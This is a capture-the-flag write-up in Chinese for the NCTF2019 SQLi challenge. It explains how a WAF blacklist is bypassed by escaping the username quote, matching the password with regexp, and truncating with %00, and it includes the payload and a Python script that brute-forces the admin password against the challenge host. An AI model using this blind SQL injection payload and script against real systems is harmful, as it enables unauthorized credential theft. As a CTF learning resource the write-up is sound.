[NCTF2019]SQLi

[NCTF2019]SQLi

进入页面,尝试万能密码登录:
觉得有waf,爆破一下
发现过滤了相当多的可用字符串
另外在robots.txt文件中有提示
在这里插入图片描述

再进入hint.txt
在这里插入图片描述

看到了黑名单,并且说要让查找admin的密码,
但是admin在黑名单中,只能进行正则匹配了。
单引号注释符全被过滤了。

sqlquery : select * from users where username='' and passwd=''

想要正则只能在单独进行,想到把将username后一个单引号进行转义,将’ and passwd='就包裹在了username中,然后再进行正则爆破admin的密码。

payload:select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'

%00注释
符号并非MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞)另外在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。
爆破baipiao脚本:

import requests
from urllib import parse
import string

url = 'http://0d2e94ef-58b4-43f4-b07d-a43981fba18d.node4.buuoj.cn:81/'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

脚本参考
在这里插入图片描述

使用任意用户和爆破出的密码登录,拿到flag。

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值